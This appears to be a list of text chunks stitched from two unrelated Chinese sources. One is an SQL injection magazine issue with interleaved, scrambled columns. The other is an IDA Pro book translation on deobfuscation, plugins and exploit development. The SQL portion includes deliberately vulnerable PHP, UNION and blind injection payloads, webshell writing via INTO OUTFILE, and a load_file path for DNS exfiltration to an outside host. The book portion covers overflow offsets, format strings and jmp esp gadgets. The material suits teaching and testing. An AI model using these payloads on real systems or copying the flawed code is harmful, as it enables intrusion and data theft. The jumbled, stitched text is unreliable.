注入原理 数据库在配置中允许域名解析时，会对域名进行解析。 以 mysql 的域名解析配置为例 skip_name_resolve 为 off 时会进行域名解析 那数据库在什么时候会进行域名解析呢。 比如需要其他服务器上的文件时候 Select load_file('\\\\\\\\www.baidu.com[/url]\\\\1.txt'); 这个时候就会向百度的 dns 服务器进行解析获取 ip 地址 而在这个时候域名字符串是可以由我们操控的。"},
    {"text": "Cover index UNION select column -1 column -2 from table -2 如果应用程序返回了第一条查询得到的数据，我们就可 以在第一条查询后面注入一个 UNION 运算符来添加一个 任意查询，来提取数据，是不是很容易啊，当然在使用 UNION 之前我们必须要满足两个条件： • 两个查询返回的列数必须相同 • 两个查询语句对于列返回的数据类型必须相同 首先我来看第一个条件，如何知道第一条查询的列数 呢？我们可以使用 NULL 来尝试，由于 NULL 值会被转换 成任何数据类型，所以我们不用管第二个条件。 很简单，只要一次一列使用我们的测试字符串替换 NULL 即可，可以发现第一列和第二列都可以存放字符 串，第三列数据没有输出。 接下来就让我们提取数据库用户名和版本号： 就是这样的一个个加上去进行尝试，直到不返回错误。 神奇的 ORDER BY 子句 除了上述方法，我们还可以是用 order by 子句得到准 3.3、枚举数据库 确列数 这里由于篇幅问题，我们只以 MySQL 数据库为例了， 枚举数据库并提取数据遵循一种层次化的方法，首先 我们提取数据库名称，然后提取表，再到列，最后才 是数据本身。要想获取远程数据库的表、列，就要访 问专门保存描述各种数据库结构的表。通常将这些结 构描述信息成为元数据。在 MySQL 中，这些表都保存 在 information_schema 数据库中 第一步：提取数据库 在 MySQL 中，数据库名存放在 information_schema 数 据库下 schemata 表 schema_name 字段中 id=1 union select null,schema_name,null from 我们先尝试了 12，返回错误，说明列数是小于 12 的， information_schema.schemata 我们继续尝试了 6，返回错误，同理，列数小于 6 的， 我们尝试 3，返回正常，说明列数是大于等于 3 的，继 续尝试 4，返回错误。说明列数是小于 4，列数大于等于 3， 小于 4，可以得到列数是 3。使用 order by 子句可以帮 助我们快速得到列数。 09 半月刊第四期 -SQL 注入 具体算法取决于 MySQL 安装的版本。 3.5、获取 WebShell 第二步：提取表名 利用 SQL 注入攻击获取 WebShell 其实就是在向服务器 在 MySQL 中，表名存放在 information_schema 数据库 写文件。（注意：这里我们需要得到网站的绝对路径） 下 tables 表 table_name 字段中 所有常用的关系数据库管理系统（RDBMS）均包含内置 的向服务器文件系统写文件的功能。 ?id=1 union select null,table_name,null from information_schema.tables where table_schema='ichunqiu' select into outfile(dumpfile) //MySQL 写文件命令 例如： select \"<?php echo 'test'; ?>\" into outfile \"F:\\\\www\\\\test.php\"; 这里我使用 where 子句来筛选了，只返回数据库 那么其它关系数据库管理系统同样的原理写文件，就 ichunqiu 下的表名，想返回所有表名，去掉 where 子 不在过多介绍了 句就行了。 第四节 SQL 盲注利用 第三步：提取字段名 4.1、初识 SQL 盲注 在 MySQL 中，字段名存放在 information_schema 数据 库下 columns 表 column_name 字段中 SQL 盲注是指在无法使用详细数据库错误消息或带内数 据连接的情况下，利用数据库查询的输入审查漏洞从 数据库提取信息或提取与数据库查询相关信息的技术。 常见的 SQL 盲注入场景： 1、提交一个导致 SQL 查询无效时，会返回一个通用错误页面， 提交正确则会返回一个内容可被适度控制的页面。 3.4、窃取哈希可令 2、提交一个导致 SQL 查询无效时，会返回一个通用错误页面， 提交正确则会返回一个内容不可控的页面。 MySQL 在 mysql.user 表中存储哈希口令，怎么提取看 3、提交受损或不正确的 SQL 既不会产生错误页面，也不会 下图： 以任何方式影响页面输出。 4.2、SQL 盲注入技术 - 基于布尔 了解完 SQL 定义以及这类漏洞的注入场景后，现在我 带大家深入研究利用这些漏洞的技术。 首先我们我们提交错误的 SQL，看资源是否返回通用的 错误页面。 哈希口令是通过使用 PASSWORD() 函数计算的： 10 半月刊第四期 -SQL 注入 id=1 and SUBSTRING(user(),1,1)='a' #利用 SUBSTRING()函数提取用户名的第一个字符，看等于字符 a 吗？，如 果等于页面返回 True 状态，不等于返回 False 状态。 id=1 and SUBSTRING(user(),1,1)='r' #返回 True 状态，也就是页面正常，表示用户名第一个字符是 r 这也就是基于布尔的 SQL 盲注入技术 4.3、SQL 盲注入技术 - 基于时间 和基于布尔的 SQL 盲注入技术原理其实大同小异，当某 一状态为真时，让响应暂停几秒钟，而当状态为假时， 不出现暂停。 我们能控制页面的输出结果吗？ 废话不多说看技巧利用。 id=1 union"},
    {"text": "index 半月刊第四期 -SQL 注入 01 SQL 注入原理篇 - SQL 注入初级………………………… SQL 注入中级………………………………………………… 08 SQL 注入高级………………………………………………… 12 SQL 工具篇…………………………………………………… 14 DNS 注入 &sqlmap 进行 DNS 注入…………………………… 16 11 种常见 SQLmap 使用方法………………………………… 18 SQL 注入工具………………………………………………… 23 SQL 注入工具拓展篇………………………………………… 25 SQL 注入实战篇 - Thinkphp 框架 3.2.x sql 注入漏洞分 析 …………………………………………………………… 28 ThinkPHP 框架 < 5.0.16 sql 注入漏洞分析……………… 36 宽字节注入详解 第二集 ………………………………… 44 03 半月刊第四期 -SQL 注入 01 SQL 注入原理篇 - SQL 注入初级………………………… SQL 注入中级………………………………………………… 08 SQL 注入高级………………………………………………… 12 SQL 工具篇…………………………………………………… 14 DNS 注入 &sqlmap 进行 DNS 注入…………………………… 16 11 种常见 SQLmap 使用方法………………………………… 18 SQL 注入工具………………………………………………… 23 SQL 注入工具拓展篇………………………………………… 25 SQL 注入实战篇 - Thinkphp 框架 3.2.x sql 注入漏洞分 析 …………………………………………………………… 28 ThinkPHP 框架 < 5.0.16 sql 注入漏洞分析……………… 36 宽字节注入详解 第二集 ………………………………… 44 03 半月刊第四期 -SQL 注入 SQL 注入原理篇 -SQL 注入初级 作者：zusheng 前言 目录 不管用什么语言编写的 Web 应用，它们都有一个共同点， 第一节 注入攻击原理及自己编写注入点 具有交互性并且多数是数据库驱动。"},
    {"text": "在网络中，数据库 驱动的 Web 应用随处可见，由此而存在的 SQL 注入是影 • 1.1、什么是 SQL ？ 响企业运营且最具破坏性的漏洞之一，这里我想问，我 • 1.2、什么是 SQL 注入？ 们真的了解 SQL 注入吗？ 看完本篇文章希望能让你更加 • 1.3、SQL 注入是怎么样产生的？ 深刻的认识 SQL 注入。 • 1.4、编写有注入漏洞代码 第二节 寻找及确认 SQL 注入 • 2.1、推理测试法 • 2.2、and 大法和 or 大法 • 2.3、加法和减法 第一节 注入攻击原理及自己编写注入点 1.1 什么是 SQL ？"},
    {"text": "SQL 是一门 ANSI 的标准计算机语言，用来访问和操作数据库系统。 SQL 语句用于增删改查数据库中的数据。 SQL 可 与数据库程序协同工作，常见数据库比如 MS Access、DB2、Informix、MS SQL Server、Oracle、Sybase 以及其他 数据库系统。"},
    {"text": "1.2 什么是 SQL 注入？ 看起来很复杂，其实很简单就能解释，SQL 注入就是一种通过操作输入来修改后台 SQL 语句达到恶意 SQL 代码执行进 行攻击目的的技术。 1.3 SQL 注入是怎么样产生的？"},
    {"text": "动态 SQL 语句是在执行过程中构造的，它根据不同的条件产生不同的 SQL 语句。 当开发人员在 运行过程中需要根据不同的查询标准来决定提取什么字段 ( 如 SELECT 语句 )，或者根据不同的条件来选择不同的查 询表时，动态构造 SQL 语句会非常有用。"},
    {"text": "在 PHP 中动态构造 SQL 语句字符串： 看上面代码我们可以控制输入参数 ichunqiu，修改所要执行 SQL 语句逻辑，达到攻击的目的。 1.4 编写注入点 02 半月刊第四期 -SQL 注入 输入参数 ichunqiu，修改所要执行 SQL 语句逻辑，达到 攻击的目的。"},
    {"text": "第五步：执行完查询，我们再对结果进行处理 1.4 编写注入点 为了照顾一下新人，这里先介绍一下涉及到的基础知识： mysql_fetch_array(data,array_type) data 可选。"},
    {"text": "可能的值： SQL SELECT 语法 MYSQL_ASSOC - 关联数组 MYSQL_NUM - 数字数组 SELECT 列名称 FROM 表名称 ; MYSQL_BOTH - 默认。 同时产生关联和数字数组 符号 * 取代列的名称是选取所有列 WHERE 子句 如需有条件地从表中选取数据，可将 WHERE 子句添加到 SELECT 语 题外话：我们使用 echo 将执行的 SQL 语句输出，方便 句。"},
    {"text": "SELECT 列名称 FROM 表名称 WHERE 列 运算符 值 最终代码如下： echo $querry 下面的运算符可在 WHERE 子句中使用： if (isset($_GET[\"id\"])){ $con = mysql_connect(\"127.0.0.1:3306\",\"root\",\"root\"); if (!$con) { die ('Could not connect: ' . mysql_error()); } mysql_select_db(\"ichunqiu\",$con); $querry = \"select * from users where id = \" . $_GET['id']; $sql = mysql_query($querry,$con); $result = mysql_fetch_array($sql); 了解了以上基础知识就让我们来自己编写拥有注入点的 echo \"<table class='itable' border='1' cellspacing='0' 代码吧。 width='300px' height='150'>\"; 第一步：我们使用 if 语句来先判断一下变量是否初始 echo \"<tr>\"; 化 echo \"<td>id</td>\"; echo \"<td>username</td>\"; <?php echo \"</tr>\"; if (isset($_GET[\"ichunqiu\"])) echo \"<tr>\"; { echo \"<td>\".$result['id'].\"</td>\"; echo \"<td>\".$result['username'].\"</td>\"; echo \"</tr>\"; } echo \"</table>\"; ?> mysql_close($con); echo $querry; } ?> 第二步：在 if 语句里面，我们连接数据库。"},
    {"text": "最终成果如下： 第二步：创建表 users 和列 id,username,password 04 半月刊第四期 -SQL 注入 第二节 寻找及确认 SQL 注入 2.1 推理测试法 寻找 SQL 注入漏洞有一种很简单的方法，就是通过发送特殊的数据来触发异常。"},
    {"text": "我们现在参数后面加个单引号，如下图： sql 语句最终变为： select * from users where id = 1' 执行失败，所以 mysql_query() 函数会返回一个布尔值，在下行代码中 mysql_fetch_array($sql) 将执行失败，并且 PHP 会显示一条警告信息，告诉我们 mysql_fetch_array() 的第一个参数必须是个资源，而代码在实际运行中，给出 的参数值却是一个布尔值。 我们修改代码在 $sql = mysql_query($querry,$con);下一行加上 var_dump($sql); 为了更好的了解 MySQL 错误，我们在 加上 $sql = mysql_query($querry,$con); if (!$sql) { die ('<p>error:'.mysql_error().'</p>') ; } 05 半月刊第四期 -SQL 注入 这样当应用捕获到数据库错误且 SQL 查询失败时，就会返回错误信息：（我们在参数中添加单引号返回的错误信息） error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 然后借助这些错误，我们这可以推断应该存在 SQL 注入。 还有其他数据库错误信息，以及 MySQL 其他错误信息，由于 篇幅问题就不一一讲解了。 2.2 and 大法和 or 大法 页面不返回任何错误信息，我们就可以借助本方法来推断了，首先我们在参数后面加上 and 1=1 和 and 1=2 看看有 什么不同 可以发现 and 1=1 返回了数据，而 and 1=2 没有，这是由于 1=1 是一个为真的条件，前面的结果是 true，true and true 所以 没有任何问题，第二个 1=2 是个假条件， true and false 还 是 false，所以并没有数据返回。"},
    {"text": "可以发现我们加上 or 1=1 就成功返回了数据，这是因为 1=1 为 真，不管前面是不是假，数据都会返回，这样就把表里面数据 全部返回，我们没看见，是因为代码中并没有迭代输出。"},
    {"text": "然后你就可以发现： echo \"<table class='itable' border='1' cellspacing='0' width='300px' height='150'>\"; echo \"<tr>\"; echo \"<td>id</td>\"; echo \"<td>username</td>\"; echo \"</tr>\"; //遍历查询结果"},
    {"text": "Cover 未知 第三部分 IDA高级应用 本部分内容： 第11章 定制IDA 第12章 使用FLIRT签名来识别库 第13章 扩展IDA的知识 第14章 修补二进制文件及其他IDA 限制 未知 25.1 背景知识 首先，我们有必要了解一些有关调试器辅助去模糊的背景知识。众所周知，在发挥作用之前，一个模糊程序必须先对自身去模糊。下面的步骤提供一个简单的基本指南，说明如何对二进制文件进行动态去模糊。 使用调试器打开一个模糊程序。 在去模糊例程的结束部分搜索并设置一个断点。 从调试器中启动程序，等待断点被触发。 利用调试器的内存转储功能捕获进程的当前状态，并将其保存到一个文件中。 在进程实施任何恶意行为之前终止进程。 对捕获到的进程映像执行静态分析。 大多数现代调试器都足以执行上述任务。OllyDbg 1 是Windows 平台上的一款非常流行的调试器，常用于完成这些任务。步骤2并不总是像看起来那样简单。在这个步骤中，你可能需要使用许多工具，包括长时间使用 IDA 之类的反汇编器，或者进行许多单步操作，才能正确识别去模糊算法。许多时候，去模糊过程以一个行为（而不是一条特定指令）作为结束标记。这样的行为可能是指令指针值的明显变化，用以标明一个指向远离去模糊代码位置的跳转。例如，在 UPX 打包的二进制文件中，你所需要做的是观察指令指针保存的值。如果这个值小于程序的入口点地址，则说明去模糊已经完成，程序已经跳转到新的、去模糊后的代码部分。通常，这个过程叫做 初始入口点（OEP ）识别 ，这里的 OEP 是程序在经过模糊处理之前开始执行的地址。 1. 参见 http://www.ollydbg.de/ 。 使事情更复杂的是，一些现代模糊器能够将输入的可执行文件转换为等效的字节码程序，然后在由该模糊器 2 生成的自定义虚拟机上运行。在分析这类受虚拟化模糊器保护的可执行文件时，你不能像执行传统的分析那样期待发现原始二进制文件或定位原始入口点。这是因为原始的 x86（或其他处理器）指令并未嵌入到经过模糊处理的二进制文件中，因此你根本找不到这类指令。 2. 有关此类模糊器VMProtect的讨论，参阅Rolf Rooles 的“ Unpacking Virtualization Obfuscators”，地址为： http://www.usenix.org/event/woot09/tech/full_papers/rolles.pdf 。 如果你不够小心，步骤3可能会带来危险。任何时候，在允许一个恶意软件不受阻碍地运行之前，你都应该三思，保证你已经正确设置了断点或断点条件。如果恶意程序设法避开你的断点，它可能会悄悄地执行恶意代码。因此，如果你要在调试器的控制下对恶意软件去模糊，你应该始终在一个沙盒环境中执行这项操作，这样，即使出现错误，你也不用担心因此导致的不良后果。 步骤4可能需要你付出一定的努力，这是因为虽然调试器通常支持内存转储，但它并不支持整个进程的内存映像转储。Gigapede 开发的 OllyDump 3 插件为 OllyDbg提供了进程转储功能。需要注意的是，从内存中转储的映像包含一个正在运行的进程的内容，并不一定能够反映位于磁盘文件中的静态二进制文件的初始状态。但是，在恶意软件分析中，我们的目的并不是创建一个经过去模糊处理的可执行文件，而是创建一个结构正确的映像文件，以便将它加载到反汇编器中进行深入分析。 3. 参见 http://www.woodmann.com/collaborative/tools/index.php/OllyDump 。 由模糊进程重建一个二进制映像，最困难的是如何恢复该程序的导入函数表。在模糊过程中，程序的导入表也往往被模糊处理。因此，去模糊过程还必须考虑将新近经过去模糊处理的进程链接到它正常运行所需的所有共享库和函数。通常，这个进程的唯一线索是该进程内存映像中的一个导入函数地址表。一般来说，在将一个经过去模糊处理的进程映像转储到一个文件中时，你需要采取步骤，设法在转储的进程映像中重建一个有效的导入表。为此，你需要修改转储映像的头部，使它指向一个新的导入表结构，这个导入表必须正确反映经过去模糊处理的原始程序的共享库依赖关系。MackT 开发的ImpREC 4 （Import REConstruction ）实用工具是一款广受欢迎的工具，可用于自动完成这个任务。和进程转储一样，请记住，提取独立的可执行文件可能并不是你分析恶意程序的主要目的。相比于重建有效的头部和工作导入表，了解哪些函数已被解析以及这些函数的地址的存储位置要更为重要。 4. 参见 http://www.woodmann.com/collaborative/tools/index.php/ImpREC 。 未知 第6章 反汇编导航 在本章和下一章，我们将介绍IDA Pro在 交互性 方面的主要特点，简言之，也就是易于导航和易于操纵。本章的重点是导航，我们将说明如何利用IDA 以符合逻辑的方式迅速浏览反汇编代码。到目前为止，我们已经了解到，IDA 基本上是将许多常用逆向工程工具的功能整合到了一个集成的反汇编窗口中。想要熟练使用IDA ，学会如何在窗口中导航是你需要掌握的一项基本技能。除上下滚动反汇编代码清单外，静态反汇编代码清单并未提供任何固有的导航功能。即使是使用最优秀的文本编辑器，对这类 死列表 导航也非常困难，因为它们最多只提供一个集成的、类似于 grep 的搜索功能。但是，你会发现，IDA 的数据库提供了卓越的导航功能。"},
    {"text": "我们提到，在 IDC 中，你可以通过提供一个名称而收到一个数组 ID，从而创建全局数组。 在 IDC 内部，你提供的名称获得字符串前缀“ $ idc_array ”，你收到的数组 ID 实际上是一个网络节点索引值。"},
    {"text": "set_idc_func_ex 函数在expr.hpp 中定义，可用于创建一个新的 IDC 函数，并将它的行为与C++ 实现对应起来。 set_idc_func_ex 函数的原型如下所示： typedef error_t (idaapi *idc_func_t)(idc_value_t *argv, idc_value_t *res); bool set_idc_func_ex(const char *idc_name, idc_func_t idc_impl, const char *args, int extfunc_flags); 注意，为了简化代码，这里引入了 idc_func_t 数据类型。"},
    {"text": "set_idc_func_ex 的参数指定我们正创建的新 IDC 函数的名称（ idc_name ）、一个指向C++ 函数（实施我们新建的 IDC 函数的行为）的指针（ idc_impl ），还有一个以零结束的字符数组，这些字符指定新IDC 函数的参数类型和列表（ args ）。"},
    {"text": "int idaapi init(void) { ➋ static const char idc_str_args[] = { VT_STR2, 0 }; ➊ set_idc_func_ex(\"CreateNetnode\", idc_create_netnode, idc_str_args, 0); return PLUGIN_KEEP; } 这个函数创建新 IDC 函数 CreateNetnode ，并将它与我们的实现函数 idc_create_ netnode （➊）关联起来。"},
    {"text": "真正实现 CreateNetnode 的行为的函数如下所示： /* * native implementation of CreateNetnode. Returns the id of the new netnode * this id can be used with all of the existing IDC Array functions. */ static error_t idaapi idc_create_netnode(idc_value_t *argv, idc_value_t *res) { ➊ res->vtype = VT_LONG; //result type is a netnode index ➋ if (argv[0].vtype == VT_STR2) { //verify we have the proper input type ➌ netnode n(argv[0].c_str(), 0, true); //create the netnode ➍ res->num = (nodeidx_t)n; //set the result value } else { ➎ res->num = -1; //If the user supplies a bad argument we fail } return eOk; } 这个函数的两个参数分别表示输入参数数组（ argv ），其中包含提交给 CreateNetnode 的所有参数（这里应该只有一个），还有一个输出参数（ res ），它用于接收我们正在执行的 IDC 函数的结果。"},
    {"text": "如果调用方提供了一个有效的参数，则使用提供的名称创建一个网络节点（➌）。 得到的网络节点索引号将以 CreateNetnode 函数结果的形式返回给调用方（➍）。"},
    {"text": "使用下面的函数和 PLUGIN结构体完成插件的创建过程： void idaapi term(void) {} //nothing to do on termination void idaapi run(int arg) {} //nothing to do and no way to activate plugin_t PLUGIN = { IDP_INTERFACE_VERSION, //this plugin loads at IDA startup, does not get listed on the Edit>Plugins menu //and modifies the database ➊ PLUGIN_FIX | PLUGIN_HIDE | PLUGIN_MOD, // plugin flags init, // initialize term, // terminate. this pointer may be NULL. run, // invoke plugin \"\", // long comment about the plugin \"\", // multiline help about the plugin \"\", // the preferred short name of the plugin \"\" // the preferred hotkey to run the plugin }; 这个插件的特殊之处在于，它在 IDA 启动时加载（ PLUGIN_FIX ），并且一直对用户隐藏它的行踪，因为它并没有添加到 Edit ▶Plugins 菜单（ PLUGIN_HIDE ，➊）中。"},
    {"text": "安装这个插件后，IDC 程序员就可以使用网络节点名称访问 IDA 数据库中的任何已命名网络节点，如下面的例子所示： auto n, val; n = CreateNetnode(\"$ imports\"); //no $ idc_array prefix will be added val = GetArrayElement(AR_STR, n, 0); //get element zero 有关使用 SDK 与IDC 交互的更多信息，请参阅 expr.hpp 头文件。"},
    {"text": "未知 26.2 使用Bochs 进行调试 Bochs 是一种开源 x86 模拟环境。 使用 Bochs 可以模拟整个 x86 计算机系统，包括模拟常用的I/O 设备及一个自定义 BIOS。 Bochs 为虚拟化软件（如 VMware Workstation）提供了一个基于模拟的替代方案。"},
    {"text": "如果 ENTRY 符号不存在，IDA 会在打开的数据库中进行检查，看当前是否有一定范围的位置处于选中状态，并将这个范围的起始位置作为调试器的入口点。"},
    {"text": "26.2.2 Bochs PE模式 在PE模式下，你可以执行在一定程度上接近进程级别的调试。 选择并激活PE模式后，IDA的Bochs 控制模块（一个 IDA 插件）将接管控制权，并以类似于 Windows 进程加载器的方式运行（如果你确实在运行本机 Windows 进程）。 PE模式进程将接收进程环境块（PEB ）与线程环境块（TEB ），以及一个模仿将在实际进程中创建的环境块的栈。"},
    {"text": "如果某个库带有“将被拨除”标记，Bochs 插件将自动“钩住”该库导出的每个函数，并将这些函数重定向到一个Bochs 解释函数（有关详细信息，请参阅startup.idc文件和IDA帮助系统）。"},
    {"text": "对于其他库（如foolib.dll ）， Bochs 插件将扫描<IDADIR>/plugins/bochs 目录，在其中搜索名为 api_foolib.idc或api_foolib.py 的相关脚本。"},
    {"text": "IDA 附带有<IDADIR>/plugins/bochs/api_kernel32.idc 文件，你可以通过该文件了解这类文件的结构，以及如何实现各种函数的自定义行为。"},
    {"text": "例如，通过为函数（如 VirtualAlloc ）提供备用的、基于脚本的行为（如果该函数无法与操作系统通信，此操作将失败），你可以让模拟的进程（在某种程度上）确信，它正作为具体的进程运行。 创建此类基于脚本的行为的目的是，为模拟的进程提供它在与具体库函数通信时（这些函数反过来又会与具体的操作系统进行通信）期待看到的响应。"},
    {"text": "如果你在非 Windows 平台上使用IDA ，你可以将任何所需的库（在 startup.idc文件中指定）从Windows 系统复制到 IDA 系统中，并编辑startup.idc文件，使其指向包含所有复制的库的目录，从而充分利用 Bochs PE 模式的优势。"},
    {"text": "// Define additional DLL path // (add triple slashes to enable the following lines) /// path /home/idauser/xp_dlls/=c:\\winnt\\system32\\ 使用PE模式在 Bochs 下启动一个进程时，你会注意到一个不同之处，即这时 IDA 不会显示警告对话框，提醒你在调试器控制下启动一个潜在恶意的进程的风险。"},
    {"text": "因此，你完全可以使用 Bochs 提供的bximage 工具创建磁盘映像，并使用Bochs 及任何所需的相关操作系统安装媒介在磁盘映像上安装一个操作系统，并最终使用Bochs 在模拟环境中运行你的客户操作系统。"},
    {"text": "要隔离在完全模拟的操作系统中运行的进程并观察该进程的行为，并不是一个简单的任务，你需要深入了解该操作系统，以及它如何管理进程和内存。"},
    {"text": "IDA 的bochsrc加载器提供最少的加载服务，仅读取所加载的 Bochs 配置文件指定的第一个磁盘映像文件的第一部分，然后将Bochs 调试器用于新的数据库。"},
    {"text": "未知 A.2 使用IDA 免费版本 就对常见的文件进行 x86 反汇编而言，IDA 免费版本可提供你所需的全部功能。而且，IDA 5.0是第一个提供集成化图形显示模式的 IDA 版本。仅这项特性就显著提高了免费版本的功能。只有在你需要 IDA 的高级功能时，免费版本才会显得“力不从心”。这种缺陷在创建 FLIRT 签名与创建并使用 IDA 插件方面表现得尤为突出。FLAIR 实用工具（参见第 12 章）和 IDA SDK （参见第16 章）仅供 IDA 商业版本的注册用户使用，免费版本的用户很难体验到这些功能。 如果你对 FLIRT 签名感兴趣，请注意，免费版本能够处理由 4.9及更高版本的 FLAIR 实用工具生成的签名（如果你能够接触这些实用工具，或让其他人帮助你生成签名）。使用 SDK 则更加困难一些。即使你设法获得 5.0版本的IDA SDK ，使用未修改的 5.0版本SDK 编译的插件并不能与IDA 免费版本兼容。这是因为，免费版本从核心IDA 库中导出函数的方法与 SDK 所采用的方法截然不同，因此需要一组不同的导入库才能正确进行链接。针对之前的免费版本（特别是IDA 4.9），许多逆向工程论坛 1 一直在讨论这一主题。之前的解决方案需要修订版本的 SDK ，而要获得此类SDK 并不容易。到本书截稿时，在为IDA 5.0 免费版本编译插件方面，人们尚未找到切实可行的方法。因此，希望试用各种常用插件（参见第 23 章）的用户可能需要联系这些插件的作者，看他们是否有办法为他们的插件生成与 IDA 免费版兼容的二进制版本。 1. 参见 http://www.woodmann.com/forum/showthread.php?t=10756 。"},
    {"text": "如果你需要在一个二进制文件中搜索某个特定的指令（如 jmp esp ）或指令序列（如 pop/pop/ret ），IDA 能够迅速告诉你该指令/指令序列是否存在于二进制文件中，如果存在，则指出该指令/指令序列所在位置的虚拟地址。 IDA 映射二进制文件就好像它们被加载到内存中，根据这一点，你可以更加轻松地确定成功加载破解程序所需的虚拟地址。"},
    {"text": "当你拥有“写 4” 1 （write four）能力时，利用 IDA的反汇编代码清单可以轻易确定任何全局分配的缓冲区的虚拟地址以及有用的目标地址（如 GOT 条目）。"},
    {"text": "22.3.1 栈帧细目 虽然栈保护机制正迅速成为现代操作系统的标准功能，但许多计算机的操作系统仍然允许在栈中运行代码，基于栈的普通缓冲区溢出攻击就是一个例子。 即使操作系统设置了栈保护，攻击者仍然可以利用缓冲区溢出破坏基于栈的指针变量，进而完成一次攻击。 在发现一个基于栈的缓冲区溢出后，无论你计划做什么，一定要了解：当你的数据从易受攻击的栈缓冲区溢出时，哪些栈内容将被覆写。"},
    {"text": "下面的栈帧包含一个缓冲区，如果仔细控制相应函数的输入，可以使这个缓冲区溢出： -0000009C result dd ? -00000098 buffer_132 db 132 dup(?) ; this can be overflowed -00000014 p_buf dd ? ; pointer into buffer_132 -00000010 num_bytes dd ? ; bytes read per loop -0000000C total_read dd ? ; total bytes read -00000008 db ? ; undefined -00000007 db ? ; undefined -00000006 db ? ; undefined -00000005 db ? ; undefined -00000004 db ? ; undefined -00000003 db ? ; undefined -00000002 db ? ; undefined -00000001 db ? ; undefined +00000000 s db 4 dup(?) +00000004 r db 4 dup(?) ; save return address +00000008 filedes dd ? ; socket descriptor 易受攻击的缓冲区（ buffer_132 ）的开始部分到所保存的返回地址之间的距离为 156 个字节（ 4- -98h 或 4- -152 ）。"},
    {"text": "如果在我们溢出缓冲区之后，易受攻击的函数需要使用该套接字描述符，那么，这时我们需要小心应付，确保覆写 filedes 不会使该函数因为出现无法预料的错误而中断。"},
    {"text": "为了获得一个更具可读性的栈帧细目，我们可以修改代码清单 22-3 中的栈帧扫描代码，以枚举一个栈帧的所有成员，计算它们的表面大小，并显示每个成员与所保存的返回地址之间的距离。"},
    {"text": "代码清单 22-4 使用 Python 枚举一个栈帧 func = ScreenEA() #process function at cursor location frame = GetFrame(func) if frame != -1: Message(\"Enumerating stack for %s\\n\" % GetFunctionName(func)) ➊ eip_loc = GetFrameLvarSize(func) + GetFrameRegsSize(func) prev_idx = -1 idx = 0 while idx GetStrucSize(frame): member = GetMemberName(frame, idx) if member is not None: if prev_idx != -1: #compute distance from previous field to current field delta = idx - prev_idx Message(\"%15s: %4d bytes (%4d bytes to eip)\\n\" % \\ (prev, delta, eip_loc - prev_idx)) prev_idx = idx prev = member idx = idx + GetMemberSize(frame, idx) else: idx = idx + 1 if prev_idx != -1: #make sure we print the last field in the frame delta = GetStrucSize(frame) - prev_idx Message(\"%15s: %4d bytes (%4d bytes to eip)\\n\" % \\ (prev, delta, eip_loc - prev_idx)) 这个脚本引入了 GetFrameLvarSize 和 GetFrameRegsSize 函数（也可用在 IDC 中），分别用于获取一个栈帧的局部变量和所保存的寄存器区域的大小。"},
    {"text": "如果对示例函数执行这个脚本，将生成以下输出： Enumerating stack for handleSocket result: 4 bytes ( 160 bytes to eip) buffer_132: 132 bytes ( 156 bytes to eip) p_buf: 4 bytes ( 24 bytes to eip) num_bytes: 4 bytes ( 20 bytes to eip) total_read: 12 bytes ( 16 bytes to eip) s: 4 bytes ( 4 bytes to eip) r: 4 bytes ( 0 bytes to eip) fildes: 4 bytes ( -4 bytes to eip) 这些输出对函数的栈帧进行了简要的总结，其中的注释提供了其他可能对破解程序开发者有用的信息。"},
    {"text": ".text:080488CA lea eax, [ebp+format] ➋ .text:080488D0 mov [esp+4], eax ; format .text:080488D4 mov eax, [ebp+stream] ➊ .text:080488DA mov [esp], eax ; stream .text:080488DD call _fprintf 这个示例仅向 fprintf 函数传递两个参数：一个文件指针（➊）和作为格式化字符串的用户缓冲区的地址（➋）。"},
    {"text": "代码清单 22-5 格式化字符串示例的栈帧 ➊ -00000128 db ? ; undefined -00000127 db ? ; undefined -00000126 db ? ; undefined -00000125 db ? ; undefined ➋ -00000124 db ? ; undefined -00000123 db ? ; undefined -00000122 db ? ; undefined -00000121 db ? ; undefined -00000120 db ? ; undefined -0000011F db ? ; undefined -0000011E db ? ; undefined -0000011D db ? ; undefined -0000011C db ? ; undefined -0000011B db ? ; undefined -0000011A db ? ; undefined -00000119 db ? ; undefined -00000118 s1 dd ? ; offset -00000114 stream dd ? ; offset -00000110 format db 264 dup(?) 帧偏移量 128h 到 119h 中的16 个未定义的字节表示编译器（此例中为 gcc）为传递给将由该易受攻击的函数调用的函数的参数预分配的内存块。"},
    {"text": "这些参数中的前四个参数将占用格式化字符串参数与格式化字符串缓冲区之间的空间，第五个参数（也就是最后一个参数）将覆盖格式化缓冲区的前四个字节。"},
    {"text": "\"%5$x\" 再回到上一个示例，这个格式化字符串会将格式化字符串缓冲区的前四个字节[ 前面我们提到，这些字节将占用传递给格式化字符串（如果需要一个格式化字符串）的第五个参数的空间]读取为一个整数，将该整数格式化为十六进制值，然后将结果输出到指定的文件流。"},
    {"text": "创建一个能够正常运行的格式化字符串，以对易受攻击的二进制文件加以利用，可能非常麻烦，并且这通常依赖于是否准确指定格式化字符串中的参数。"},
    {"text": "将这些信息与 IDA 在反汇编各种程序节（如全局偏移量表.got 或解构器表.dtor ）时显示的信息相结合，可以快速获得仅使用调试器开发入侵程序时所需的格式化字符串，而且不需要进行试用，其中也不包含任何错误。"},
    {"text": "22.3.2 定位指令序列 为了可靠地加载破解程序，你通常可以使用一种特殊的控制权转交机制，这种机制不需要你了解你的 shellcode 的具体内存地址。"},
    {"text": "例如，如果你在接管指令指针时，已知 ESI 寄存器指向你的 shellcode ，那么如果该指令指针恰巧指向一条 jmp esi 或 call esi 指令，这将会为你提供极大的帮助。"},
    {"text": "因为如果一个函数包含易受攻击的缓冲区，当该函数返回时，栈指针将指向你刚刚覆写的被保存的返回地址下面。 如果你继续覆写被保存的返回地址上面的栈，那么，栈指针将指向你的数据（应该是代码）。"},
    {"text": "在论文“Variations in Exploit Methods between Linux and Windows ” 3 的附录D 中，David Litchfield 介绍了一个名为 getopcode.c 的程序，这个程序用于在Linux ELF 二进制文件中搜索有用的指令。"},
    {"text": "例如，下面的指令包含一个内嵌的 jmp esp ： .text:080486CD B8 FF FF E4 34 mov eax, 34E4FFFFh 如果想要一个 jmp esp ，可以使用虚拟地址 080486CFh 。"},
    {"text": "如果对一个已知的字节序列执行完全匹配的二进制搜索，请记得区分大小写，否则，字节序列 50 C3 （ push eax/ret ）将与字节序列 70 C3 相匹配（因为50h 代表大写的P ，而70h 代表小写的p ）， 70 C3 是一个对使用-61字节的相对偏移量溢出的跳转。"},
